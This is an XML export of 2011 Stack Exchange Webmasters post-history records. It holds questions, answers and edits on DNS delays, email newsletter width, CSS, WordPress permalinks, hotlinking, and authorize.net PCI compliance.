  <row Id="46519" PostHistoryTypeId="2" PostId="19011" RevisionGUID="8e9c352a-b0c6-4880-b73d-d1ed9b0f3237" CreationDate="2011-08-31T18:35:04.583" UserId="1953" Text="Here's a good link to resources.&#xD;&#xA;http://www.conversion-rate-experts.com/process/" />
  <row Id="46520" PostHistoryTypeId="25" PostId="19008" RevisionGUID="b40236ce-2f14-4411-8de9-c1d65696d55d" CreationDate="2011-08-31T18:37:20.760" Comment="http://twitter.com/#!/StackWebmasters/status/108971647419162624" />
  <row Id="46521" PostHistoryTypeId="16" PostId="18475" RevisionGUID="8322c797-c507-45bd-9957-7a2b9fb11643" CreationDate="2011-08-31T19:22:31.150" UserId="1064" />
  <row Id="46522" PostHistoryTypeId="16" PostId="18591" RevisionGUID="0f6d846f-949d-49a8-9393-6d1346e78ab4" CreationDate="2011-08-31T19:22:31.150" UserId="1064" />
  <row Id="46523" PostHistoryTypeId="16" PostId="18999" RevisionGUID="1081a5c4-ff66-4fbc-a406-5efcb5d346dc" CreationDate="2011-08-31T19:22:31.150" UserId="1064" />
  <row Id="46524" PostHistoryTypeId="17" PostId="19012" RevisionGUID="11fbf473-0b44-4065-9307-bc9c12da6215" CreationDate="2011-08-31T19:26:46.110" UserId="-1" Comment="from http://stackoverflow.com/questions/7262289/why-would-it-take-longer-for-a-web-page-to-resolve-when-the-url-is-entered-withou" Text="" />
  <row Id="46525" PostHistoryTypeId="2" PostId="19012" RevisionGUID="d1ae586e-7093-4281-8d76-b350bb7bbfaa" CreationDate="2011-08-31T19:23:13.103" UserId="9981" UserDisplayName="novicePrgrmr" Text="I was looking up a new website a friend of mine just built, and when I typed in &quot;youwho.com&quot;, it took like 3 minutes to return the page to me. &#xD;&#xA;&#xD;&#xA;When I typed &quot;www.youwho.com&quot; it resolved instantly. &#xD;&#xA;&#xD;&#xA;Why would this happen?" />
  <row Id="46526" PostHistoryTypeId="1" PostId="19012" RevisionGUID="d1ae586e-7093-4281-8d76-b350bb7bbfaa" CreationDate="2011-08-31T19:23:13.103" UserId="9981" UserDisplayName="novicePrgrmr" Text="why would it take longer for a web page to resolve when the url is entered without &quot;www&quot;?" />
  <row Id="46527" PostHistoryTypeId="3" PostId="19012" RevisionGUID="d1ae586e-7093-4281-8d76-b350bb7bbfaa" CreationDate="2011-08-31T19:23:13.103" UserId="9981" UserDisplayName="novicePrgrmr" Text="&lt;html&gt;&lt;web&gt;" />
  <row Id="46528" PostHistoryTypeId="5" PostId="18962" RevisionGUID="90798762-bc2a-45f6-b1d1-da0448086561" CreationDate="2011-08-31T19:37:29.887" UserId="1847" Comment="Replaced all &quot;then&quot;s with &quot;than&quot;. Fixed plurality of JPEG in the first sentence." Text="JPEGs are not always smaller in size than PNGs. Each format has its uses. JPEGs are great for complex images like photographs and will have a smaller file size than PNGs when compressing a photo. PNGs are great for logos or buttons and will be smaller than a JPEG when compressing those kinds of images. &#xD;&#xA;&#xD;&#xA;JPEGs do not support transparency so what you're hoping to do is not possible. Use a PNG as it would be ideal for this kind of an image." />
  <row Id="46529" PostHistoryTypeId="24" PostId="18962" RevisionGUID="90798762-bc2a-45f6-b1d1-da0448086561" CreationDate="2011-08-31T19:37:29.887" Comment="Proposed by 1847 approved by 1253 edit id of 521" />
  <row Id="46530" PostHistoryTypeId="2" PostId="19013" RevisionGUID="86c61afc-5a8a-4ada-8472-7c8e45bb3aac" CreationDate="2011-08-31T19:39:16.337" UserId="9539" Text="I am working on building an email marketing newsletter, is there a good general width that I should stick with?   I have seen 600 as a number but I am unsure what others have encountered. I need this to work in as many clients as possible without the dreaded horizontal scroll bar.&#xD;&#xA;&#xD;&#xA;Thanks! " />
  <row Id="46531" PostHistoryTypeId="1" PostId="19013" RevisionGUID="86c61afc-5a8a-4ada-8472-7c8e45bb3aac" CreationDate="2011-08-31T19:39:16.337" UserId="9539" Text="E-Mail Marketing &quot;Width&quot;" />
  <row Id="46532" PostHistoryTypeId="3" PostId="19013" RevisionGUID="86c61afc-5a8a-4ada-8472-7c8e45bb3aac" CreationDate="2011-08-31T19:39:16.337" UserId="9539" Text="&lt;email&gt;&lt;marketing&gt;&lt;bulk-email&gt;" />
  <row Id="46533" PostHistoryTypeId="2" PostId="19014" RevisionGUID="f22b23b7-d104-42b0-bdf1-db739fda9898" CreationDate="2011-08-31T19:52:31.417" UserId="7133" Text="Depending on the browser, the browser could be doing DNS caching (Chrome does a lot of this) in an effort to speed things up.&#xD;&#xA;&#xD;&#xA;Other things that might be involved would be the nearness of any DNS caches to you. For example, if your ISP happened to have the www version of the domain cached, but the non-www version was not in their cache, it would return much faster than if the DNS lookup had to get all the way to the authoritative DNS servers.&#xD;&#xA;&#xD;&#xA;It's also possible that there are other factors, such as app startup time, if you first hit the site with the straight domain name, and then with the www version. Various caches along the route could have also been impacting the response in this case as well, including your browser's cache if the page html was written in such a way as to cause blocking (ie. putting javascript file links at the top instead of the bottom)" />
  <row Id="46534" PostHistoryTypeId="2" PostId="19015" RevisionGUID="499fe698-a67e-40f9-b304-962f040d6fae" CreationDate="2011-08-31T20:14:19.693" UserId="4751" Text="I'm tasked with making a change to a website which I'm not sure is even possible.&#xD;&#xA;&#xD;&#xA;We have one element which is an image surrounded by 3px padding, a 1px border, and then a drop shadow.&#xD;&#xA;&#xD;&#xA;![This is the one that works correctly][1]&#xD;&#xA;&#xD;&#xA;The above image is how the y would like it&#xD;&#xA;&#xD;&#xA;![These ones they want changed][2]&#xD;&#xA;&#xD;&#xA;This one does not look as they want it.&#xD;&#xA;&#xD;&#xA;We have another element which is an empty div with a background color set. The designer wants these two to look the same, but I only have access to the CSS. Is there some way I can get this to look the same using pseudo selectors?&#xD;&#xA;&#xD;&#xA;Here's the CSS:&#xD;&#xA;&#xD;&#xA;    	float: left;&#xD;&#xA;        height: 23px;&#xD;&#xA;        margin: 3px;&#xD;&#xA;        width: 23px;&#xD;&#xA;        padding:2px;&#xD;&#xA;        border:1px solid #d4d4d4;&#xD;&#xA;        box-shadow:3px 3px 4px rgba(0,0,0,0.1);&#xD;&#xA;         -moz-box-shadow:3px 3px 4px rgba(0,0,0,0.1);&#xD;&#xA;         -webkit-box-shadow:3px 3px 4px rgba(0,0,0,0.1);      &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/p8XCm.png&#xD;&#xA;  [2]: http://i.stack.imgur.com/7tI5s.png" />
  <row Id="46535" PostHistoryTypeId="1" PostId="19015" RevisionGUID="499fe698-a67e-40f9-b304-962f040d6fae" CreationDate="2011-08-31T20:14:19.693" UserId="4751" Text="Need to add 3px of padding to an empty div... I cannot access the markup, only the css" />
  <row Id="46536" PostHistoryTypeId="3" PostId="19015" RevisionGUID="499fe698-a67e-40f9-b304-962f040d6fae" CreationDate="2011-08-31T20:14:19.693" UserId="4751" Text="&lt;css&gt;" />
  <row Id="46537" PostHistoryTypeId="14" PostId="19015" RevisionGUID="a0de3ba4-2533-4ffa-b982-025f5f454894" CreationDate="2011-08-31T20:17:56.467" UserId="-1" Text="[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]" />
  <row Id="46538" PostHistoryTypeId="17" PostId="19015" RevisionGUID="60212dd8-e20b-4b88-88ae-6a83a3fdabf2" CreationDate="2011-08-31T20:17:56.483" UserId="1253" Comment="to http://stackoverflow.com/questions/7262874/need-to-add-3px-of-padding-to-an-empty-div-i-cannot-access-the-markup-only-th" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="46539" PostHistoryTypeId="10" PostId="19015" RevisionGUID="1748db9f-ccf2-4dc1-b2b5-e4983d49d533" CreationDate="2011-08-31T20:17:55.923" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="46540" PostHistoryTypeId="5" PostId="19012" RevisionGUID="aa2fe955-7b7b-41a8-b971-3b086e03700b" CreationDate="2011-08-31T20:18:31.693" UserId="1253" Comment="deleted 4 characters in body; edited tags; edited title" Text="I was looking up a new website a friend of mine just built, and when I typed in &quot;youwho.com&quot;, it took like 3 minutes to return the page to me. When I typed &quot;www.youwho.com&quot; it resolved instantly. &#xD;&#xA;&#xD;&#xA;Why would this happen?" />
  <row Id="46541" PostHistoryTypeId="4" PostId="19012" RevisionGUID="aa2fe955-7b7b-41a8-b971-3b086e03700b" CreationDate="2011-08-31T20:18:31.693" UserId="1253" Comment="deleted 4 characters in body; edited tags; edited title" Text="Why would it take longer for a web page to resolve when the url is entered without &quot;www&quot;?" />
  <row Id="46542" PostHistoryTypeId="6" PostId="19012" RevisionGUID="aa2fe955-7b7b-41a8-b971-3b086e03700b" CreationDate="2011-08-31T20:18:31.693" UserId="1253" Comment="deleted 4 characters in body; edited tags; edited title" Text="&lt;dns&gt;" />
  <row Id="46543" PostHistoryTypeId="10" PostId="8114" RevisionGUID="829f7ef3-96e1-4e43-9106-bf1a7f1624c5" CreationDate="2011-08-31T20:25:33.373" UserId="1064" CloseReasonId="2" Text="[{&quot;Id&quot;:1064,&quot;DisplayName&quot;:&quot;danlefree&quot;}]" />
  <row Id="46544" PostHistoryTypeId="14" PostId="19010" RevisionGUID="f4da02e9-efa6-420f-bf60-d6ddabd7a5d3" CreationDate="2011-08-31T20:42:40.033" UserId="-1" Text="[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]" />
  <row Id="46545" PostHistoryTypeId="17" PostId="19010" RevisionGUID="d5165c2c-2fc3-4e34-9097-e6d1bcd5c813" CreationDate="2011-08-31T20:42:40.033" UserId="1064" Comment="to http://wordpress.stackexchange.com/questions/27393/need-a-wordpress-video-gallery-plugin-that-works-the-like-mpora-com" Text="[{&quot;Id&quot;:1064,&quot;DisplayName&quot;:&quot;danlefree&quot;}]" />
  <row Id="46546" PostHistoryTypeId="10" PostId="19010" RevisionGUID="b90dfe80-3f66-415d-b618-160b442943ee" CreationDate="2011-08-31T20:42:39.643" UserId="1064" CloseReasonId="2" Text="[{&quot;Id&quot;:1064,&quot;DisplayName&quot;:&quot;danlefree&quot;}]" />
  <row Id="46547" PostHistoryTypeId="10" PostId="16223" RevisionGUID="ead6cf70-b1f7-475b-9570-58c061b81b73" CreationDate="2011-08-31T20:50:15.847" UserId="1064" CloseReasonId="2" Text="[{&quot;Id&quot;:1064,&quot;DisplayName&quot;:&quot;danlefree&quot;}]" />
  <row Id="46548" PostHistoryTypeId="2" PostId="19016" RevisionGUID="b40860b0-a5dd-4c24-bbef-5f8fa08d57c1" CreationDate="2011-08-31T21:07:01.700" UserId="8009" Text="600px is generally the max width accepted by the majority of email clients.&#xD;&#xA;&#xD;&#xA;[This article][1] touches on the subject - they also mention creating a fluid layout, which is possibly the better solution.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://kb.mailchimp.com/article/how-to-code-html-emails/" />
  <row Id="46549" PostHistoryTypeId="2" PostId="19017" RevisionGUID="e94ed96f-6847-4f78-88bc-aa13afd50551" CreationDate="2011-08-31T21:18:53.013" UserId="4648" Text="How can I convert links (url displayed in the browser) from :&#xD;&#xA;&#xD;&#xA;    www.mywebsite.com/?p=13&#xD;&#xA;&#xD;&#xA;to something like this :&#xD;&#xA;&#xD;&#xA;    www.mywebsite.com/title_of_the_topic" />
  <row Id="46550" PostHistoryTypeId="1" PostId="19017" RevisionGUID="e94ed96f-6847-4f78-88bc-aa13afd50551" CreationDate="2011-08-31T21:18:53.013" UserId="4648" Text="Convert link in Wordpress 3.2.1" />
  <row Id="46551" PostHistoryTypeId="3" PostId="19017" RevisionGUID="e94ed96f-6847-4f78-88bc-aa13afd50551" CreationDate="2011-08-31T21:18:53.013" UserId="4648" Text="&lt;wordpress&gt;&lt;cms&gt;&lt;url&gt;&lt;links&gt;" />
  <row Id="46556" PostHistoryTypeId="25" PostId="19012" RevisionGUID="9308bee5-b89b-411f-9d33-e029c72351a1" CreationDate="2011-08-31T21:37:20.497" Comment="http://twitter.com/#!/StackWebmasters/status/109016948771258369" />
  <row Id="46558" PostHistoryTypeId="2" PostId="19019" RevisionGUID="8bef3538-6031-4f7b-a407-43dc09cd9bd0" CreationDate="2011-08-31T22:15:40.900" UserId="9982" Text="I manage two websites for a client, each hosted with a different company. One site is an eCommerce site and the other is a blog for the eCommerce site.&#xD;&#xA;&#xD;&#xA;The eCommerce site is reaching its bandwidth limits (25GB/month), while the blog has plenty of room. &#xD;&#xA;&#xD;&#xA;Would moving the product images from the eCommerce server to the blog server be a legitimate solution to relieving the bandwidth strain?" />
  <row Id="46559" PostHistoryTypeId="1" PostId="19019" RevisionGUID="8bef3538-6031-4f7b-a407-43dc09cd9bd0" CreationDate="2011-08-31T22:15:40.900" UserId="9982" Text="Hotlinking to reduce bandwidth usage?" />
  <row Id="46560" PostHistoryTypeId="3" PostId="19019" RevisionGUID="8bef3538-6031-4f7b-a407-43dc09cd9bd0" CreationDate="2011-08-31T22:15:40.900" UserId="9982" Text="&lt;bandwidth&gt;&lt;hotlinking&gt;" />
  <row Id="46561" PostHistoryTypeId="2" PostId="19020" RevisionGUID="86204ae9-d05b-48b2-b7ba-ea8610533fe9" CreationDate="2011-08-31T22:54:52.183" UserId="1253" Text="Absolutely. As long as the ecommerce server has the bandwidth available and can handle the load this would work just fine. If the ecommerce server cannot handle the load you may want to consider an affordable CDN like [Amazon S3][1] where you only pay for what you use.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://aws.amazon.com/s3/" />
  <row Id="46562" PostHistoryTypeId="2" PostId="19021" RevisionGUID="8cf567e5-8af2-43f4-a015-c1df164b61a7" CreationDate="2011-08-31T22:59:10.853" UserId="5727" Text="When I'm in analytics I sometimes get a referal from  a forum, something like:&#xD;&#xA;&#xD;&#xA;    http://forums.example.com&#xD;&#xA;&#xD;&#xA;Then when I click on it, it gives me a page like:&#xD;&#xA;&#xD;&#xA;    /viewTopic.php&#xD;&#xA;&#xD;&#xA;Is there any way to get it to return the topic ID so I can click on it and see which topic it is?  At the moment I have to register, and run a search.  Can be very slow." />
  <row Id="46563" PostHistoryTypeId="1" PostId="19021" RevisionGUID="8cf567e5-8af2-43f4-a015-c1df164b61a7" CreationDate="2011-08-31T22:59:10.853" UserId="5727" Text="Analytics refferer forum thread" />
  <row Id="46564" PostHistoryTypeId="3" PostId="19021" RevisionGUID="8cf567e5-8af2-43f4-a015-c1df164b61a7" CreationDate="2011-08-31T22:59:10.853" UserId="5727" Text="&lt;google-analytics&gt;&lt;forum&gt;&lt;referrer&gt;&lt;query-string&gt;" />
  <row Id="46565" PostHistoryTypeId="2" PostId="19022" RevisionGUID="5babaa62-1a95-429d-8c6a-b783a8bc5694" CreationDate="2011-08-31T23:13:15.987" UserId="9539" Text="I am sending an email marketing campaign out to subscribers and I would like to incorporate a Facebook Like and a Tweet Button into my email. Since I cannot use javascript inside emails I was wondering the best way to do this. Here is what I have so far: &#xD;&#xA;&#xD;&#xA;**Tweet Button** &#xD;&#xA;&#xD;&#xA;    &lt;a title=&quot;Share Via Twitter&quot; href=&quot;http://twitter.com/intent/tweet?&#xD;&#xA;    url=http://my-campaign-url&amp;amp;text=My%20Text%20-%20&amp;amp;via=My Name&amp;amp;&quot;&gt;&#xD;&#xA;    &lt;img src=&quot;/Images/network_icons/tweet-button-small.png&quot; &#xD;&#xA;    style=&quot;border:0 none;&quot; alt=&quot;Share Via Twitter&quot;&gt;&#xD;&#xA;&#xD;&#xA;**Facebook Like**&#xD;&#xA;&#xD;&#xA;    &lt;a title=&quot;Like this on Facebook&quot; href=&quot;http://www.facebook.com/plugins/like.&#xD;&#xA;    php?href=http://my-campaign-url.com&amp;amp;layout=standard&amp;amp;show_faces=&#xD;&#xA;    false&amp;amp;width=450&amp;amp;action=like&amp;amp;colorscheme=light&amp;amp;height=427%20&quot;&gt;&#xD;&#xA;    &lt;img src=&quot;/Images/network_icons/fblike-button-small.png&quot; style=&quot;border: &#xD;&#xA;    0 none;&quot; alt=&quot;Like This on Facebook&quot;&gt;&#xD;&#xA;&#xD;&#xA;Here are a few questions:&#xD;&#xA;&#xD;&#xA;How do I pull the subject of the email to be posted along with the content? &#xD;&#xA;&#xD;&#xA;Is it possible to pull only an image from the email and have that posted vs the entire email content?&#xD;&#xA;&#xD;&#xA;Is there a better way to code the above buttons? &#xD;&#xA;&#xD;&#xA;Thanks for the assistance." />
  <row Id="46566" PostHistoryTypeId="1" PostId="19022" RevisionGUID="5babaa62-1a95-429d-8c6a-b783a8bc5694" CreationDate="2011-08-31T23:13:15.987" UserId="9539" Text="Implementing Facebook Like and Tweet Buttons into E-Mail" />
  <row Id="46567" PostHistoryTypeId="3" PostId="19022" RevisionGUID="5babaa62-1a95-429d-8c6a-b783a8bc5694" CreationDate="2011-08-31T23:13:15.987" UserId="9539" Text="&lt;facebook&gt;&lt;email&gt;&lt;marketing&gt;&lt;social-media&gt;&lt;twitter&gt;" />
  <row Id="46642" PostHistoryTypeId="2" PostId="19053" RevisionGUID="8526729e-7972-48b0-81ab-b3a8501bf303" CreationDate="2011-08-25T13:40:31.327" UserDisplayName="chris" Text="How can i downgrade Magento from 1.6 back to 1.5.1.?&#xD;&#xA;&#xD;&#xA;I've got issues with it not working, so I would like to pull it to the previous version.&#xD;&#xA;&#xD;&#xA;I have a DB backup but not a site backup. " />
  <row Id="46643" PostHistoryTypeId="1" PostId="19053" RevisionGUID="8526729e-7972-48b0-81ab-b3a8501bf303" CreationDate="2011-08-25T13:40:31.327" UserDisplayName="chris" Text="Downgrade Magento" />
  <row Id="46644" PostHistoryTypeId="3" PostId="19053" RevisionGUID="8526729e-7972-48b0-81ab-b3a8501bf303" CreationDate="2011-08-25T13:40:31.327" UserDisplayName="chris" Text="&lt;magento&gt;" />
  <row Id="46671" PostHistoryTypeId="2" PostId="19064" RevisionGUID="9f03f97e-05eb-4dd7-b304-7d01e81c0f75" CreationDate="2011-07-19T05:17:26.940" UserId="1253" Text="It doesn't necessarily rid you of it but it does reduce your potential exposure. If you handle or store any data covered by PCI DSS standard, and if you use relay response you will, then you have to make sure you meet the portion of the standard that applies to that data." />
  <row Id="46672" PostHistoryTypeId="2" PostId="19063" RevisionGUID="479b51ea-1c68-427c-9358-2b53eacc5466" CreationDate="2011-07-18T21:41:31.890" UserDisplayName="David" Text="Does anyone know if authorize.net's SIM rids you of having to be PCI compliant? The payment form is hosted on authorize.net's site and they're processing the payment. &#xD;&#xA;&#xD;&#xA;I know you can do a relay response which basically puts some of the transaction details in a url that goes back to your website(to display a receipt). I'm not sure what all information gets put into the url though. I'm wondering if that makes you have to become PCI compliant?" />
  <row Id="46673" PostHistoryTypeId="1" PostId="19063" RevisionGUID="479b51ea-1c68-427c-9358-2b53eacc5466" CreationDate="2011-07-18T21:41:31.890" UserDisplayName="David" Text="authorize.net SIM PCI compliance" />
  <row Id="46674" PostHistoryTypeId="3" PostId="19063" RevisionGUID="479b51ea-1c68-427c-9358-2b53eacc5466" CreationDate="2011-07-18T21:41:31.890" UserDisplayName="David" Text="&lt;authorize.net&gt;&lt;compliance&gt;" />
  <row Id="46677" PostHistoryTypeId="2" PostId="19066" RevisionGUID="6ae3775e-7fda-4889-8bf3-30aff5ccff8a" CreationDate="2011-07-06T14:44:04.700" UserId="1253" Text="You should use the [Server Integrated Method][1]. It uses Authorize.Net's own secure server to handle the payment form and processing the credit card. &#xD;&#xA;&#xD;&#xA;You can also use [Simple Checkout][2]. As its name implies it is a very basic and simple option for selling items.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.authorize.net/api/sim/&#xD;&#xA;  [2]: http://developer.authorize.net/api/simplecheckout/" />
  <row Id="46678" PostHistoryTypeId="2" PostId="19065" RevisionGUID="a7cb570c-01be-4852-a359-eb1bcae2be67" CreationDate="2011-06-15T01:39:33.950" UserId="8457" Text="My website sells one item. I am currently using the simple checkout button embedded on the website. Rather than having the button I would like the order form to be on the single page with a field for quantity.&#xD;&#xA;&#xD;&#xA;At first I imagined that there would be a simple form that I could embed however it looks like that I need a full integration into my website through the Advanced Integration Method (AIM) which is much more complicated then I wanted.&#xD;&#xA;&#xD;&#xA;I don't want integration into my website, can I do it without, and if I have to what is the cleanest and simplest way to do it?" />
  <row Id="46679" PostHistoryTypeId="1" PostId="19065" RevisionGUID="a7cb570c-01be-4852-a359-eb1bcae2be67" CreationDate="2011-06-15T01:39:33.950" UserId="8457" Text="How to embed an authorize.net payment gateway form into a single page website with one item for sale?" />
  <row Id="46680" PostHistoryTypeId="3" PostId="19065" RevisionGUID="a7cb570c-01be-4852-a359-eb1bcae2be67" CreationDate="2011-06-15T01:39:33.950" UserId="8457" Text="&lt;authorize.net&gt;" />
  <row Id="46683" PostHistoryTypeId="2" PostId="19068" RevisionGUID="9fda8509-6e5a-4b74-9cee-ad906644556c" CreationDate="2011-07-05T13:13:12.347" UserId="1253" Text="ARB and CIM are two separate APIs. You cannot use the information from one API in calls to the other API. Since it looks like you are using CIM you will need to build your own payment scheduler to charge payment profiles on a regular basis." />
  <row Id="46684" PostHistoryTypeId="2" PostId="19067" RevisionGUID="17657638-a964-4149-a95d-9b69ad79a78e" CreationDate="2011-07-05T09:02:32.227" UserDisplayName="Ganesh" Text="I have created some customer profile id's and customer payment profile id's.&#xD;&#xA;&#xD;&#xA;What i want is to use existing customer payment profile id for ARB so that users don't have to type their credit card details again and again." />
  <row Id="46685" PostHistoryTypeId="1" PostId="19067" RevisionGUID="17657638-a964-4149-a95d-9b69ad79a78e" CreationDate="2011-07-05T09:02:32.227" UserDisplayName="Ganesh" Text="How to integrate authorize.net CIM and ARB" />
  <row Id="46686" PostHistoryTypeId="3" PostId="19067" RevisionGUID="17657638-a964-4149-a95d-9b69ad79a78e" CreationDate="2011-07-05T09:02:32.227" UserDisplayName="Ganesh" Text="&lt;authorize.net&gt;" />
  <row Id="46690" PostHistoryTypeId="2" PostId="19070" RevisionGUID="d374c23a-2779-4524-8bf6-ce291ef683f4" CreationDate="2011-07-06T14:41:22.410" UserId="1253" Text="The more up front you are about your handling of sensitive information through your website you are, the less likely someone is able to complain (i.e. sue you) that you put there information at risk without their knowledge. It's not bulletproof protection, but you want to make sure you cover the basics so in the event of a breach or lawsuit you have as much protection as possible." />
  <row Id="46691" PostHistoryTypeId="2" PostId="19071" RevisionGUID="be07bde7-84bb-4549-bf42-bbef31784fa1" CreationDate="2011-07-06T14:43:54.570" UserDisplayName="Code Monkey" Text="You always want to reduce the scope, so by offloading the storage to a site such as Authorize.NET or some other gateway provider, you are protecting yourself from liability if the data is lost or stolen. If you can prove to your PCI Compliance auditor that you are using Authorize.NET or some other service to store the card information and not your own potentially insecure database, then this will help you in your PCI scans and compliance.&#xD;&#xA;&#xD;&#xA;Amazon and some of the others you mentioned are much larger and have much larger IT staff. So they can secure their sites much better than someone on a shoe string budget. You can always store the personal information such as address and phone number, this is not covered by PCI. It is however covered when you store it in conjunction with the card number and/or expiration date.&#xD;&#xA;&#xD;&#xA;Your best bet is not store anything." />
  <row Id="46692" PostHistoryTypeId="2" PostId="19069" RevisionGUID="5e8e30ef-dc66-4de8-b729-a61d018b12d1" CreationDate="2011-06-28T21:34:35.843" UserDisplayName="Kat" Text="Our website uses authorize.net CIM to store consumer credit card's securely after a user's initial purchase. We currently do not have an &quot;opt-in&quot; button allowing us to do this. However, after reviewing other sites such as Groupon, Living Social, and even Amazon, it seems as though this is now common practice. Other more traditional sites such as Nordstrom's require the user to opt-in to save the Credit card. I was wondering what best practice was for saving credit cards. Any other example references would be appreciated.&#xD;&#xA;&#xD;&#xA;Thanks for any advice you can provide." />
  <row Id="46693" PostHistoryTypeId="1" PostId="19069" RevisionGUID="5e8e30ef-dc66-4de8-b729-a61d018b12d1" CreationDate="2011-06-28T21:34:35.843" UserDisplayName="Kat" Text="PCI-Compliance: Automatic saving of Credit Cards to Authorize.net CIM" />
  <row Id="46694" PostHistoryTypeId="3" PostId="19069" RevisionGUID="5e8e30ef-dc66-4de8-b729-a61d018b12d1" CreationDate="2011-06-28T21:34:35.843" UserDisplayName="Kat" Text="&lt;authorize.net&gt;&lt;pci-compliance&gt;" />
</posthistory>